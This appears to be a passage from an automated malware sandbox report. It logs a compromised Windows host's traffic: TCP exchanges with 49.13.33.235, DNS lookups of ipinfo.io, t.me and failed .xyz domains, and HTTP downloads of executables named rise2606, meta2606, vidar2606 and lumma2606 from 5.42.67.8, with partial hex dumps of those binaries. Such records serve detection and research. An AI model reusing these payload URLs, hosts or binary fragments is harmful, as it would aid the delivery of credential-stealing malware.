Jun 27, 2024 06:44:39.738275051 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.743000984 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.743052959 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.743103027 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.743105888 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.743136883 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.743159056 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.743171930 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.743186951 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.743206978 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.743231058 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.743264914 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.743303061 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.743321896 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.749635935 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.749777079 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.749805927 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.749854088 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.749855995 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.749890089 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.749900103 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.749922991 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.749937057 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.749957085 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.749972105 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.749993086 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.750005007 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.750026941 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.750035048 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.750060081 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.750063896 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.750093937 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.750101089 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.750125885 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.750159025 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.750164032 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.750193119 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.750200033 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.750217915 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.750226021 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.750241041 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.750258923 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.750308037 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.750320911 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.750385046 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.777918100 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.777972937 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.777985096 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.778007984 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.778040886 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.778048038 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.778084993 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.778093100 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.778125048 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.778140068 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.778160095 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.778170109 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.778193951 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.778208017 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.778228045 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.778260946 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.778271914 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.778295040 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.778297901 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.778327942 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.778342009 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.778367996 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.783233881 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.783292055 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.783291101 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.783344984 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.783354998 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.783379078 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.783391953 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.783420086 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.783430099 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.783463955 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.783477068 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.783514023 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.783526897 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.783548117 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.783565044 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.783581972 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.783623934 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.783632040 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.783643961 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.783675909 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.783683062 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.783715963 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.783730984 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.783766031 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.783806086 CEST	49757	9000	192.168.2.5	49.13.33.235

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 27, 2024 06:44:13.190386057 CEST	192.168.2.5	1.1.1.1	0xe4ab	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Jun 27, 2024 06:44:13.887003899 CEST	192.168.2.5	1.1.1.1	0x6dd6	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
Jun 27, 2024 06:44:28.148338079 CEST	192.168.2.5	1.1.1.1	0x627d	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Jun 27, 2024 06:46:34.230720043 CEST	192.168.2.5	1.1.1.1	0xeb0c	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 27, 2024 06:44:13.198236942 CEST	1.1.1.1	192.168.2.5	0xe4ab	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
Jun 27, 2024 06:44:13.895677090 CEST	1.1.1.1	192.168.2.5	0x6dd6	No error (0)	db-ip.com		104.26.4.15	A (IP address)	IN (0x0001)	false
Jun 27, 2024 06:44:13.895677090 CEST	1.1.1.1	192.168.2.5	0x6dd6	No error (0)	db-ip.com		104.26.5.15	A (IP address)	IN (0x0001)	false
Jun 27, 2024 06:44:13.895677090 CEST	1.1.1.1	192.168.2.5	0x6dd6	No error (0)	db-ip.com		172.67.75.166	A (IP address)	IN (0x0001)	false
Jun 27, 2024 06:44:26.657160997 CEST	1.1.1.1	192.168.2.5	0x2c2	Name error (3)	aplointexhausdh.xyz	none	none	A (IP address)	IN (0x0001)	false
Jun 27, 2024 06:44:26.683985949 CEST	1.1.1.1	192.168.2.5	0x666b	Name error (3)	compilecoppydkewsw.xyz	none	none	A (IP address)	IN (0x0001)	false
Jun 27, 2024 06:44:26.703557968 CEST	1.1.1.1	192.168.2.5	0x409c	Name error (3)	exertcreatedadnndjw.xyz	none	none	A (IP address)	IN (0x0001)	false
Jun 27, 2024 06:44:26.721771002 CEST	1.1.1.1	192.168.2.5	0x8a81	Name error (3)	depositybounceddwk.xyz	none	none	A (IP address)	IN (0x0001)	false
Jun 27, 2024 06:44:26.736754894 CEST	1.1.1.1	192.168.2.5	0x39c	Name error (3)	slammyslideplanntywks.xyz	none	none	A (IP address)	IN (0x0001)	false
Jun 27, 2024 06:44:26.767194033 CEST	1.1.1.1	192.168.2.5	0xbcec	Name error (3)	manufactiredowreachhd.xyz	none	none	A (IP address)	IN (0x0001)	false
Jun 27, 2024 06:44:26.789499044 CEST	1.1.1.1	192.168.2.5	0x4975	Name error (3)	spitechallengddwlsv.xyz	none	none	A (IP address)	IN (0x0001)	false
Jun 27, 2024 06:44:26.814748049 CEST	1.1.1.1	192.168.2.5	0x8489	Name error (3)	varitycookypowerw.xyz	none	none	A (IP address)	IN (0x0001)	false
Jun 27, 2024 06:44:28.155426979 CEST	1.1.1.1	192.168.2.5	0x627d	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Jun 27, 2024 06:46:34.237880945 CEST	1.1.1.1	192.168.2.5	0xeb0c	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49719	5.42.67.8	80	6556	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 06:44:17.504585028 CEST	216	OUT	HEAD /rise2606.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.67.8 Cache-Control: no-cache
Jun 27, 2024 06:44:18.134959936 CEST	275	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 04:44:18 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 26 Jun 2024 08:56:00 GMT ETag: "1c3000-61bc72ef1ac6c" Accept-Ranges: bytes Content-Length: 1847296 Content-Type: application/x-msdownload
Jun 27, 2024 06:44:18.144787073 CEST	215	OUT	GET /rise2606.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.67.8 Cache-Control: no-cache
Jun 27, 2024 06:44:18.333780050 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 04:44:18 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 26 Jun 2024 08:56:00 GMT ETag: "1c3000-61bc72ef1ac6c" Accept-Ranges: bytes Content-Length: 1847296 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 93 d3 c8 40 f2 bd 9b 40 f2 bd 9b 40 f2 bd 9b 93 80 be 9a 51 f2 bd 9b 93 80 b8 9a e9 f2 bd 9b 93 80 b9 9a 56 f2 bd 9b 82 73 b9 9a 52 f2 bd 9b 93 80 bc 9a 47 f2 bd 9b 40 f2 bc 9b c6 f2 bd 9b 82 73 b8 9a 1c f2 bd 9b 82 73 be 9a 58 f2 bd 9b b3 70 b8 9a 41 f2 bd 9b b3 70 bf 9a 41 f2 bd 9b 52 69 63 68 40 f2 bd 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 93 d7 7b 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 12 02 00 00 2a 1a 00 00 00 00 00 e8 96 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 1c 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$@@@QVsRG@ssXpApARich@PEL{f'*0@@PP(!@0x.text `.BsSm `.rdataz0@@.dataSD@.reloc(!P"@B
Jun 27, 2024 06:44:18.333869934 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 f8 32 5c 00 e8 09 53 00 00 68 52 13 42 00 e8 5d 89 00 Data Ascii: 2\ShRB]YjBm\EP\Ee\h2BEhlBPh\\2]Mh\BjZBD\E\EeD\,7BEhB
Jun 27, 2024 06:44:18.333924055 CEST	1236	IN	Data Raw: 00 50 68 f4 18 5c 00 e8 db 5c 00 00 83 4d fc ff 68 5f 13 42 00 e8 b6 88 00 00 83 c4 10 e8 a9 89 00 00 c3 68 6c 13 42 00 e8 a3 88 00 00 59 c3 68 62 13 42 00 e8 97 88 00 00 59 c3 68 c0 35 5c 00 e8 21 5d 00 00 c7 04 24 76 13 42 00 e8 7f 88 00 00 59 Data Ascii: Ph\\Mh_BhlBYhbBYh5\!]$vBYj5\0hBgY5\QhBQYhBEYjjh5\P6\khB&YVWjLY5\ljV5\xCBgphBY_^P6\7\P6
Jun 27, 2024 06:44:18.333969116 CEST	1236	IN	Data Raw: 00 00 00 00 00 c7 45 04 00 00 00 00 e8 ca 45 00 00 8b 48 04 85 c9 74 04 f0 ff 41 04 8b 08 8b 40 04 89 0f 89 4f 08 8d 4f 10 89 47 04 c7 47 0c 00 00 00 00 e8 0a 66 00 00 8d 44 24 40 c7 47 20 00 00 00 00 56 50 c7 47 24 00 00 00 00 c7 47 28 00 00 00 Data Ascii: EEHtA@OOGGfD$@G VPG$G(GGfG,8;t>P@}MUtGuGuP\|$tGu_KuP_Fv^][Ujh
Jun 27, 2024 06:44:18.333981991 CEST	1236	IN	Data Raw: d1 e9 b8 ff ff ff 7f 2b c1 3b f0 76 2c be ff ff ff 7f 89 75 ec b8 22 00 00 80 50 e8 89 7c 00 00 83 c4 04 85 c0 0f 84 1a 01 00 00 8d 78 23 83 e7 e0 89 47 fc 8b 55 08 eb 41 8d 04 31 8b f7 3b c7 0f 43 f0 81 fe 00 10 00 00 72 10 8d 46 23 89 75 ec 3b Data Ascii: +;v,u"P\|x#GUA1;CrF#u;tVD\|EuU3u}EME9C;u+PQW+RQWMACU+PRQEt)K+r#P+wVQP
Jun 27, 2024 06:44:18.334013939 CEST	1236	IN	Data Raw: 78 00 00 83 c4 08 6a 2c 56 c7 46 24 00 00 00 00 c7 46 28 0f 00 00 00 c6 46 14 00 e8 e5 77 00 00 83 c4 08 80 7f 0d 00 74 9e 5e 5b 5f 5d c2 08 00 e8 fd c0 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 44 24 08 8b 4c 24 04 87 01 c3 cc cc cc cc Data Ascii: xj,VF$F(Fwt^[_]D$L$D$L$<$D$8D$PD$D$D$D$8T$t-L$+rP#+w-QRGwL$D$Pt$L$D$I
Jun 27, 2024 06:44:18.334048986 CEST	1236	IN	Data Raw: 00 c7 46 0c 00 00 00 00 c6 46 10 00 c7 46 14 00 00 00 00 85 c0 74 10 50 56 e8 2c 52 00 00 83 c4 08 8b c6 5e c2 04 00 68 64 33 42 00 e8 95 40 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 44 24 04 0f 57 c0 56 8b f1 83 c8 02 50 56 c7 06 00 00 Data Ascii: FFFtPV,R^hd3B@D$WVPVFFFfFF$F(F,hK^T\3D$PSUVt$lWWD$~vvw&l$ht$(D$,\$l\$D$tsa
Jun 27, 2024 06:44:18.334081888 CEST	1236	IN	Data Raw: ff 40 04 8b 7c 24 24 85 ff 74 1e 8b c5 f0 0f c1 47 04 75 15 8b 07 8b cf ff 10 f0 0f c1 6f 08 4d 75 07 8b 07 8b cf ff 50 04 5f 8b c6 5e 5d 5b 83 c4 08 c2 10 00 cc cc cc cc cc cc 56 8b f1 0f 57 c0 8d 46 04 50 c7 06 48 32 42 00 66 0f d6 00 8b 44 24 Data Ascii: @\|$$tGuoMuP_^][VWFPH2BfD$P{h2B^VWFPH2BfD$Pzt2B^WfAA\|2Bt2BVWFPH2BfD$Pz@3B^Wf
Jun 27, 2024 06:44:18.334114075 CEST	1236	IN	Data Raw: 8b f9 8d 47 04 50 c7 07 48 32 42 00 66 0f d6 00 8d 46 04 50 e8 7c 76 00 00 c7 07 c0 32 42 00 83 c4 08 8b 46 0c 8b 4e 10 89 47 0c 8b c7 89 4f 10 c7 07 d0 32 42 00 5f 5e c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 71 08 85 f6 74 25 57 83 cf Data Ascii: GPH2BfFP\|v2BFNGO2B_^Vqt%WFu~Ou_^`_^VWt;PRG$~u<5Bt~puFPDFDP=FP{=FP@_^VNv'
Jun 27, 2024 06:44:18.334145069 CEST	1236	IN	Data Raw: c1 7e 08 4f 75 0c 8b 06 8b ce 5f 5e 83 c4 04 ff 60 04 5f 5e 59 c3 e8 c7 ad 00 00 cc cc cc cc cc cc cc cc 8b 44 24 08 c3 cc cc cc cc cc cc cc cc cc cc cc 51 53 55 8b 6c 24 10 8b d9 56 57 3b dd 0f 84 09 01 00 00 8b 55 00 8b 6d 04 8b 4b 08 2b ea 8b Data Ascii: ~Ou_^`_^YD$QSUl$VW;UmK+;+T$;??+;v?4;Bt?rW#+GQWcCCVD$4;VPSC+
Jun 27, 2024 06:44:18.334178925 CEST	1236	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b f1 e8 b8 f6 ff ff f6 44 24 08 01 74 0e 68 a8 00 00 00 56 e8 b8 5f 00 00 83 c4 08 8b c6 5e c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc f6 44 24 04 01 56 8b f1 c7 06 d0 35 42 00 74 0e 68 10 01 Data Ascii: VD$thV_^D$V5BthV_^D$V5Btj(VZ_^V6BtVWt#SGu_KuP[D$_t
Jun 27, 2024 06:44:21.001816988 CEST	216	OUT	HEAD /meta2606.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.67.8 Cache-Control: no-cache
Jun 27, 2024 06:44:21.192454100 CEST	273	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 04:44:21 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 26 Jun 2024 08:58:12 GMT ETag: "abc00-61bc736d9c154" Accept-Ranges: bytes Content-Length: 703488 Content-Type: application/x-msdownload
Jun 27, 2024 06:44:21.193065882 CEST	215	OUT	GET /meta2606.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.67.8 Cache-Control: no-cache
Jun 27, 2024 06:44:21.380755901 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 04:44:21 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 26 Jun 2024 08:58:12 GMT ETag: "abc00-61bc736d9c154" Accept-Ranges: bytes Content-Length: 703488 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 93 d3 c8 40 f2 bd 9b 40 f2 bd 9b 40 f2 bd 9b 93 80 be 9a 51 f2 bd 9b 93 80 b8 9a e9 f2 bd 9b 93 80 b9 9a 56 f2 bd 9b 82 73 b9 9a 52 f2 bd 9b 93 80 bc 9a 47 f2 bd 9b 40 f2 bc 9b c6 f2 bd 9b 82 73 b8 9a 1c f2 bd 9b 82 73 be 9a 58 f2 bd 9b b3 70 b8 9a 41 f2 bd 9b b3 70 bf 9a 41 f2 bd 9b 52 69 63 68 40 f2 bd 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 20 d8 7b 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 12 02 00 00 b6 08 00 00 00 00 00 e8 96 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 0b 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$@@@QVsRG@ssXpApARich@PEL {f'0@@P !@0x.text `.BsSm `.rdataz0@@.data@.reloc !"@B
Jun 27, 2024 06:44:22.793227911 CEST	217	OUT	HEAD /vidar2606.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.67.8 Cache-Control: no-cache
Jun 27, 2024 06:44:22.980515957 CEST	273	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 04:44:22 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 26 Jun 2024 09:00:39 GMT ETag: "64600-61bc73f90cc60" Accept-Ranges: bytes Content-Length: 411136 Content-Type: application/x-msdownload
Jun 27, 2024 06:44:22.981059074 CEST	216	OUT	GET /vidar2606.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.67.8 Cache-Control: no-cache
Jun 27, 2024 06:44:23.168663025 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 04:44:23 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 26 Jun 2024 09:00:39 GMT ETag: "64600-61bc73f90cc60" Accept-Ranges: bytes Content-Length: 411136 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 93 d3 c8 40 f2 bd 9b 40 f2 bd 9b 40 f2 bd 9b 93 80 be 9a 51 f2 bd 9b 93 80 b8 9a e9 f2 bd 9b 93 80 b9 9a 56 f2 bd 9b 82 73 b9 9a 52 f2 bd 9b 93 80 bc 9a 47 f2 bd 9b 40 f2 bc 9b c6 f2 bd 9b 82 73 b8 9a 1c f2 bd 9b 82 73 be 9a 58 f2 bd 9b b3 70 b8 9a 41 f2 bd 9b b3 70 bf 9a 41 f2 bd 9b 52 69 63 68 40 f2 bd 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 63 d8 7b 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 12 02 00 00 40 04 00 00 00 00 00 e8 96 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 06 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$@@@QVsRG@ssXpApARich@PELc{f'@0@@P`(!@0x.text `.BsSm `.rdataz0@@.dataiZ@.reloc(!`"$@B
Jun 27, 2024 06:44:24.940156937 CEST	217	OUT	HEAD /lumma2606.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.67.8 Cache-Control: no-cache
Jun 27, 2024 06:44:25.205220938 CEST	273	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 04:44:25 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 26 Jun 2024 09:27:05 GMT ETag: "7a800-61bc79e22cb78" Accept-Ranges: bytes Content-Length: 501760 Content-Type: application/x-msdownload
Jun 27, 2024 06:44:25.205874920 CEST	216	OUT	GET /lumma2606.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.67.8 Cache-Control: no-cache
Jun 27, 2024 06:44:25.393631935 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 04:44:25 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 26 Jun 2024 09:27:05 GMT ETag: "7a800-61bc79e22cb78" Accept-Ranges: bytes Content-Length: 501760 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 93 d3 c8 40 f2 bd 9b 40 f2 bd 9b 40 f2 bd 9b 93 80 be 9a 51 f2 bd 9b 93 80 b8 9a e9 f2 bd 9b 93 80 b9 9a 56 f2 bd 9b 82 73 b9 9a 52 f2 bd 9b 93 80 bc 9a 47 f2 bd 9b 40 f2 bc 